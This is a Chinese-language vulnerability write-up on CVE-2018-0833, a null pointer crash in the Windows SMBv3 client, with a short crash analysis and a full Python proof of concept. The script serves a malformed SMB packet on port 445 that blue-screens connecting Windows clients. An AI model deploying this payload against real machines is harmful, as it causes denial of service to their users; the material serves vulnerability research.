SMBv3无效指针引用漏洞(CVE-2018-0833)
05 Mar 2018
|
|
影响范围
- Microsoft Windows Server 2012 R2 0
- Microsoft Windows RT 8.1
- Microsoft Windows 8.1 for x64-based Systems 0
- Microsoft Windows 8.1 for 32-bit Systems 0
漏洞分析
实验环境: Microsoft Windows 8.1 x64
32 位下SMB的头结构:
poc发送了带有0xFD头部的SMB数据包,而之前并没有进行会话协商。
具体漏洞形成原因:
崩溃发生在mrxsmb.sys模块,用于SMB消息的重定向,具体在mrxsmb!SmbWskReceiveEvent+1a921处: movzx ecx,word ptr [rax+48h],此时rax的值为0,零地址为无效地址,对其引用造成崩溃蓝屏。
进入SmbWskReceiveEvent函数进行查看,在处理SMB消息包时,会检查加密是否开启,如果未开启,则要r15d的值与0x34比较。
如果大于0x34则进入下一处比较:
参考作者的分析文章,作者也没有分析清楚,只是大概讲了程序流程,该漏洞也没有太大的研究意义,所以写到这,做个记录
poc代码
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833
import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
def handle(self):
try:
print "From:", self.client_address
print "[*]Sending Payload..."
self.request.send(unhexlify(payload))
except Exception:
print "BSoD Triggered on", self.client_address
pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
参考链接
https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/
http://www.vfocus.net/art/20180228/14283.html
http://toutiao.secjia.com/cve-2018-0833
SMB 消息结构:https://msdn.microsoft.com/en-us/library/ee441702.aspx